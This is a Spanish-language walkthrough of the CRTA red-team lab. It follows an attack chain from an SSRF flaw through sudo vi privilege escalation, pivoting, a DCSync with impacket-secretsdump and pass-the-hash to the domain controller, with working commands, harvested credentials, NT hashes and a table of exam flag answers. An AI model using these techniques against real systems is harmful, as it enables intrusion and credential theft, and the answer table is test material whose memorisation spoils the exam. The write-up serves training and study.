Writeup CRTA Lab — Certified Red Team Analyst
writeup de CRTA
Writeup CRTA Lab — Certified Red Team Analyst
Laboratorio: ent.corp | Target inicial: 172.26.10.11 | DC: 10.10.10.100
Índice de la cadena de ataque
- Reconocimiento externo
- SSRF en Flask → descubrimiento de credenciales
- Acceso SSH y enumeración de contenedores
- Escalada de privilegios vía GTFOBins (vi)
- Extracción de credenciales HotHost
- Descubrimiento de red interna
- Pivote a 10.10.10.20 → elFinder → AD_Resources.txt
- DCSync contra el Domain Controller
- Pass-the-Hash → secret.xml
- Flags completo y resumen
1. Reconocimiento externo
1.1 Conexión VPN
El laboratorio se accede mediante un archivo .ovpn provisto tras adquirir el examen. Las credenciales VPN son gestionadas por la plataforma CWL.
openvpn --config bob-string.ovpn
Una vez conectados, nuestra IP atacante es 192.168.90.12/24 en tun0, con rutas estáticas a los rangos 172.26.10.0/24 y 10.10.10.0/24 a través del gateway 192.168.90.1.
1.2 Descubrimiento de hosts
El scope del examen indica 172.26.10.0/24. El gateway 172.26.10.1 está fuera de scope. El resto de la red está en juego. Un nmap -sn revela los hosts vivos.
nmap -sn 172.26.10.0/24
Resultado: Un solo host vivo — 172.26.10.11.
1.3 Escaneo de puertos completo
Escaneamos todos los 65535 puertos para no dejar ningún vector sin explorar:
nmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txt
Puertos abiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 22/tcp | SSH | OpenSSH |
| 23100/tcp | HTTP | Python Flask (Werkzeug 3.1.3) |
| 8091/tcp | HTTP | Node.js (Express) — HotHost monitoring |
Tres puertos. SSH sugiere acceso remoto si obtenemos credenciales. Dos servicios web en puertos no estándar — siempre sospechoso. El puerto 23100 ejecuta Flask, el 8091 ejecuta Node.js. Dos aplicaciones distintas, dos posibles vectores de ataque.
2. SSRF en Flask → descubrimiento de credenciales
2.1 Reconocimiento de la aplicación Flask (puerto 23100)
Navegamos a http://172.26.10.11:23100/ y encontramos una aplicación simple. Fuzzeamos rutas:
curl http://172.26.10.11:23100/fetch?url=http://127.0.0.1/
El endpoint /fetch acepta un parámetro url y devuelve el contenido. Esto es SSRF (Server-Side Request Forgery).
SSRF puro. Si el endpoint permite el esquema file://, podemos leer archivos locales. Pero la app corre en Docker (el hostname y el entorno lo delatan), así que probablemente necesitemos un path especial para escapar del contenedor.
2.2 Explotación del SSRF — Lectura de /etc/passwd
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"
El prefijo /hostfs es la clave — es el punto de montaje del filesystem del host dentro del contenedor Docker.
Resultado: Obtenemos /etc/passwd del HOST, no del contenedor. Encontramos un usuario:
app-admin:x:1001:1001::/home/app-admin:/bin/bash
2.3 Búsqueda de credenciales
Leemos archivos de configuración del sistema:
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config"
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.ssh/id_rsa"
Encontramos credenciales en texto plano:
app-admin : @dmin@123
Contraseña en un archivo de configuración del sistema (/etc/app-config). Mala práctica común. Con estas credenciales ya tenemos acceso SSH.
3. Acceso SSH y enumeración de contenedores
3.1 Conexión SSH
ssh app-admin@172.26.10.11
Acceso confirmado. Ahora estamos dentro del host comprometido.
3.2 Enumeración inicial
La primera fase de post-explotación es siempre mapear el sistema:
whoami
id
ip addr show
docker ps
Resultados:
- Usuario
app-admin(uid=1001) - Dos contenedores Docker corriendo:
hot_1— HotHost monitoring (puerto 8091 mapeado)code-testx— Flask SSRF application (puerto 23100 mapeado)
Docker corriendo en el host. app-admin probablemente no tiene permisos para ejecutar docker directamente, pero sí tiene acceso sudo a vi.
4. Escalada de privilegios vía GTFOBins (vi)
4.1 Verificación de sudoers
sudo -l
Output:
User app-admin may run the following commands on this host:
(ALL : ALL) NOPASSWD: /usr/bin/vi
vi con NOPASSWD y (ALL : ALL). Esto es un vector de GTFOBins clásico. Podemos ejecutar cualquier comando como root desde vi usando :!.
4.2 Explotación
sudo /usr/bin/vi -c ':!/bin/bash'
Dentro de vi, ejecutamos:
:!/bin/bash
Resultado: Shell como root en 172.26.10.11.
5. Extracción de credenciales HotHost
5.1 Acceso al contenedor HotHost
Como root, podemos interactuar directamente con Docker:
docker exec -it hot_1 /bin/sh
5.2 Localización de la base de datos
Dentro del contenedor, encontramos la base de datos lowdb:
cat /var/lib/hothost/data/hothost.json
Contenido:
{
"users": [
{
"id": "07643590-1aea-4de3-91ec-8881600cc54c",
"username": "admin",
"password": "665a26fad71ea9ef3edf5f33195d4b31",
"createdAt": "Mon May 12 2025"
}
],
"monitoringData": [],
"settings": { ... }
}
5.3 Verificación del hash
El hash 665a26fad71ea9ef3edf5f33195d4b31 es MD5. Verificamos:
import hashlib
hashlib.md5(b'Very3stroungPassword').hexdigest()
# = 665a26fad71ea9ef3edf5f33195d4b31
5.4 Variables de entorno del contenedor
docker exec hot_1 env
Confirmamos las credenciales:
HOTHOST_WEB_ADMIN_USERNAME=admin
HOTHOST_WEB_ADMIN_PASSWORD=Very3stroungPassword
5.5 Directorio assets — información sensible
El directorio assets/ del frontend de HotHost (/code/frontend/dist/assets/) contiene los archivos estáticos compilados del SPA. Dentro de este directorio, el archivo dummy.css contiene información sensible embebida (credenciales falsas de prueba), incluyendo credenciales de base de datos y claves API.
Flag 2: El directorio assets revela información sensible (la contraseña de la DB y claves API en dummy.css).
5.6 Ruta /pug — secretToken
Inspeccionamos el código fuente del HotHost y encontramos un endpoint revelador:
curl http://172.26.10.11:8091/pug
Respuesta:
{
"message": "Visit port 23100",
"secretToken": "Monitor the system files"
}
El endpoint /pug es una pista embebida — nos dice que monitoreemos los archivos del sistema y apunta al puerto 23100 (el Flask con SSRF). El secretToken es una flag.
5.6 Base64 de db-pass credentials (Flag)
Hay dos posibles fuentes para "db-pass credentials" y la respuesta depende de la instancia del lab.
Opción A: Hash MD5 del admin (de hothost.json)
Para convertir el hash MD5 a su representación binaria y luego a Base64:
echo "665a26fad71ea9ef3edf5f33195d4b31" | xxd -r -p | base64
Resultado: Zlom+tceqe8+318zGV1LMQ==
La trampa aquí es que algunos convierten el string hex directamente a Base64 (NjY1YTI2...) en lugar de convertir los bytes del hash. Algunas instancias del lab esperan la representación Base64 del hash binario.
Opción B: dummy.css en el directorio assets (la correcta para nuestra instancia)
Dentro del contenedor HotHost, existe un archivo dummy.css que contiene credenciales falsas para pruebas embebidas en el frontend:
/code/frontend/dist/assets/dummy.css
Este archivo está servido estáticamente por HotHost en el directorio assets/ (Flag 2).
Contenido relevante:
--db-user: "db_admin";
--db-pass: "DB_P@ssw0rd!";
Flag: Base64 directo de la contraseña DB_P@ssw0rd!:
echo -n "DB_P@ssw0rd!" | base64
Resultado: REJfUEBzc3cwcmQh
Nota: No hay que hashear la contraseña con MD5 ni convertir el hash hex a binario. El dummy.css ya contiene la credencial en texto plano; solo hay que codificarla a Base64.
6. Descubrimiento de red interna
6.1 Análisis de logs
Los logs de SSH revelan conexiones desde una IP interna:
cat /var/log/auth.log | grep "Accepted"
Hallazgo: Múltiples conexiones SSH autenticadas desde 10.10.10.20.
10.10.10.20 es otra máquina que se conecta a este servidor. Está en un segmento de red interno (10.10.10.0/24) no accesible directamente desde nuestra VPN. Desde este host comprometido podemos alcanzarla.
6.2 Escaneo de la red interna
Desde el host root, escaneamos la red 10.10.10.0/24:
nmap -sn 10.10.10.0/24
Hosts descubiertos:
| IP | Rol |
|---|---|
10.10.10.20 |
Servidor web interno (Apache 2.4.58, Ubuntu) |
10.10.10.100 |
Domain Controller (ent.corp) |
7. Pivote a 10.10.10.20 → elFinder → AD_Resources.txt
7.1 Reconocimiento web
Desde el host comprometido, exploramos 10.10.10.20:
curl http://10.10.10.20/
gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirb/common.txt
Descubrimiento: Directorio /elfinder/ — un gestor de archivos web.
7.2 Exploración de elFinder
ElFinder es un gestor de archivos open-source. Navegando a /elfinder/files/ encontramos un listado de directorios con un archivo interesante:
http://10.10.10.20/elfinder/files/AD_Resources.txt
Contenido de AD_Resources.txt:
sync_user@ent.corp:Summer@2025
Credenciales de un usuario de dominio. El nombre sync_user sugiere un usuario de sincronización — típicamente con permisos de replicación de directorio. Esto es ideal para DCSync. La contraseña Summer@2025 sigue el patrón estacional + año, común en entornos empresariales.
8. DCSync contra el Domain Controller
8.1 Verificación del DC
Confirmamos que 10.10.10.100 es el Domain Controller:
nmap -sV -p 445,88,389,636 10.10.10.100
Puertos abiertos: 445 (SMB), 88 (Kerberos), 389 (LDAP), 636 (LDAPS).
8.2 DCSync con impacket
Usamos las credenciales de sync_user para ejecutar un ataque DCSync:
impacket-secretsdump ent.corp/sync_user:'Summer@2025'@10.10.10.100
Output — Hashes críticos:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36405f88da713c31bbff52e57aea1f86:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3d15cb1141d579823f8bb08f1f23e316:::
El hash de krbtgt nos permitiría forjar Golden Tickets. Pero no necesitamos llegar tan lejos — el hash del Administrador es suficiente para obtener acceso completo al DC.
9. Pass-the-Hash → secret.xml
9.1 Acceso SMB con Pass-the-Hash
Con el hash NT del Administrador, accedemos al DC sin necesidad de la contraseña en texto plano:
smbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash 3d15cb1141d579823f8bb08f1f23e316
9.2 Navegación al Desktop del Administrador
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
Listado: Encontramos secret.xml.txt.
9.3 Descarga del archivo objetivo
smb: \Users\Administrator\Desktop\> get secret.xml.txt
9.4 Contenido de secret.xml
El archivo contiene datos de empleados con información salarial. El hallazgo clave para la flag final:
<employee>
<position>Director of Engineering</position>
<name>Danielle M. Chen</name>
<baseSalary>189500</baseSalary>
...
</employee>
Objetivo cumplido: secret.xml recuperado del Domain Controller.
10. Flags completo y resumen
10.1 Listado completo de flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | TCP port of the Initial access machine which hosts monitoring software | 8091 |
| 2 | Web directory with which reveals sensitive information | assets |
| 3 | Base64 hash of db-pass credentials | REJfUEBzc3cwcmQh (base64 de DB_P@ssw0rd! desde assets/dummy.css) |
| 5 | Web application route which reveals the system files | pug |
| 6 | What is the "secretToken" string which is present in the above route | Monitor the system files |
| 7 | Payload through which hosts system "passwd" file can be read | file:///hostfs/etc/passwd |
| 8 | Discovered credentials of "app-admin" | @dmin@123 |
| 9 | Commands that "app-admin" can run on the initial access machine | /usr/bin/vi |
| 10 | IP Address discovered from the log file | 10.10.10.20 |
| 11 | The service version name running on web port on the discovered ip address | 2.4.58 |
| 12 | Complete URL which reveals sync_user credentials | http://10.10.10.20/elfinder/files/AD_Resources.txt |
| 13 | What is the password of the sync_user | Summer@2025 |
| 14 | What is the Domain Controller IP Address | 10.10.10.100 |
| 15 | What is the krbtgt account NT hash of the domain | 36405f88da713c31bbff52e57aea1f86 |
| 16 | Directory location in the domain controller which contains the sensitive xml file | C:\Users\Administrator\Desktop |
| 17 | What is the base salary of the user with the position "Director of Engineering" | 189500 |
10.2 Cadena de ataque completa
[VPN] → Nmap → 172.26.10.11
↓
[Puerto 23100] Flask App → endpoint /fetch → SSRF
↓
[SSRF] file:///hostfs/etc/passwd → credenciales app-admin:@dmin@123
↓
[SSH] app-admin@172.26.10.11
↓
[sudo vi] GTFOBins → ROOT en 172.26.10.11
↓
[Docker] HotHost (puerto 8091) → hothost.json → MD5 hash
↓
[auth.log] → IP interna descubierta: 10.10.10.20
↓
[10.10.10.20] /elfinder → AD_Resources.txt → sync_user@ent.corp
↓
[DCSync] impacket-secretsdump → krbtgt + Administrator NT hashes
↓
[Pass-the-Hash] smbclient → C$\Users\Administrator\Desktop\secret.xml.txt ✅
10.3 Credenciales obtenidas
| # | Usuario | Credencial | Privilegio |
|---|---|---|---|
| 1 | app-admin |
@dmin@123 |
Acceso SSH al host inicial |
| 2 | admin |
Very3stroungPassword |
Aplicación HotHost (monitoring) |
| 3 | sync_user@ent.corp |
Summer@2025 |
Replicación de directorio (DCSync) |
| 4 | Administrator@ent.corp |
3d15cb1141d579823f8bb08f1f23e316 (NT hash) |
Control total del dominio |
10.4 Herramientas utilizadas
| Herramienta | Uso |
|---|---|
nmap |
Escaneo de puertos y detección de servicios |
curl |
Explotación SSRF e interacción web |
gobuster |
Fuzzing de directorios web |
ssh |
Acceso inicial al host |
vi (GTFOBins) |
Escalada de privilegios a root |
docker |
Enumeración de contenedores |
impacket-secretsdump |
Ataque DCSync |
smbclient |
Pass-the-Hash y extracción de archivos |
xxd + base64 |
Conversión de formato hash |
| Burp Suite | Interceptación y análisis de tráfico web |
10.5 Lecciones aprendidas
-
SSRF nunca es solo HTTP: En cada SSRF que encuentres, prueba
file://. El prefijo/hostfses específico de entornos Docker donde el volumen del host se monta en/hostfsdentro del contenedor. Sin este conocimiento, no habríamos podido escapar del contenedor. -
sudo -l es el segundo comando después de cualquier shell:
viconNOPASSWDpermite escapar a una shell root mediante:!/bin/bash. GTFOBins vino a ser util aqui. -
Los logs del sistema son minas de oro:
/var/log/auth.logreveló conexiones desde10.10.10.20, exponiendo la red interna10.10.10.0/24que no era visible desde la VPN. Siempre enumera los logs en un host comprometido. -
Los servicios web expuestos → elFinder → credenciales AD: El directorio
elfinderen10.10.10.20expusoAD_Resources.txtcon credenciales de dominio. Los gestores de archivos web mal configurados son vectores de filtración de datos subestimados. -
DCSync con sync_user: El usuario
sync_usertenía permisos de replicación de directorio (Ds-Replication-Get-Changes). Esto no es un accidente — es la ruta intencionada del laboratorio. Cuando encuentres credenciales AD, verifica siempre qué permisos tienen antes de descartarlas. -
Pass-the-Hash elimina la necesidad de texto plano: Con el NT hash del Administrador, accedimos al DC via SMB sin conocer la contraseña real. Windows acepta hashes NTLM como autenticación para SMB, WMI, y otros protocolos.
-
La codificación Base64 de hashes es tramposa: Siempre verifica si la flag pide Base64 del hash binario o Base64 directo de la credencial en texto plano. En nuestro caso, la respuesta correcta fue
REJfUEBzc3cwcmQh(base64 directo deDB_P@ssw0rd!desdeassets/dummy.css), no el hash MD5 convertido. -
Los archivos
dummy.css/dummy.*nunca son inocentes: El archivodummy.cssen el frontend (directorioassets/) contenía credenciales de prueba que resultaron ser la flag. Siempre revisa los archivos de estilo, recursos y assets estáticos en aplicaciones web — los desarrolladores suelen dejar credenciales de prueba en lugares "que nadie mira". -
Las flags del examen no siempre siguen el orden esperado: Inicialmente asumimos que Flag 2 (
elfinder) y Flag 3 (hash MD5 de hothost.json) venían de la máquina interna (10.10.10.20), pero la respuesta correcta para ambas estaba en HotHost (puerto 8091) — el directorioassetsy el archivodummy.css. Verifica siempre el contexto de la pregunta y no asumas el origen de los datos.
10.6 Reflexión final
Este laboratorio CRTA representa una cadena de ataque realista en un entorno empresarial típico:
- Entrada: Aplicación web vulnerable a SSRF → credenciales en texto claro en archivos de configuración
- Movimiento lateral: Contraseña estática en
/etc/app-config→ SSH - Escalada vertical:
sudo vi(GTFObins) → root → acceso a Docker - Reconocimiento interno: Logs SSH → descubrimiento de red interna
- Pivote: Servidor web con elFinder expuesto → credenciales de dominio
- Ataque al AD: DCSync con
sync_user→ hashes de krbtgt + Administrador - Exfiltración: Pass-the-Hash → SMB → secret.xml
Cada eslabón de la cadena depende del anterior. Sin el SSRF no habríamos obtenido las credenciales SSH. Sin la escalada a root no habríamos accedido a Docker. Sin los logs no habríamos descubierto la red interna. Sin elFinder no habríamos encontrado sync_user. Sin DCSync no habríamos obtenido el hash del Administrador.
El eslabón más débil gana siempre. En este caso, fueron múltiples: una app sin sanitización de URLs, contraseñas en texto plano, sudoers mal configurado, un gestor de archivos expuesto, y un usuario con permisos excesivos de replicación.